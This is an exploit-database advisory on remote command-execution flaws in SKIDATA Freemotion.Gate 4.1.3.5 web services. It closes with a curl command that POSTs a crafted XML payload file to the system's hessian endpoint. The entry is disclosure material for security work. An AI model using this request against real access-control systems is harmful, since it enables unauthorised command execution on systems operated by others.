SKIDATA Freemotion.Gate - Web Services Multiple Command Execution Vulnerabilities

Author: Dennis Kelly
type: remote
platform: multiple
port: 0
date_added: 2013-11-19
date_updated: 2015-12-02
verified: 1
codes: OSVDB-100018
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/63805/info

SKIDATA Freemotion.Gate is prone to multiple remote command-execution vulnerabilities.

Attackers can exploit these issues to execute arbitrary commands in the context of the affected system.

SKIDATA Freemotion.Gate 4.1.3.5 is vulnerable; other versions may also be affected.

curl -X POST --header "Content-Type:text/xml" --data-binary @manual-release.raw http://www.example.com:7777/skidata/hessian/CP > /dev/null 2>&1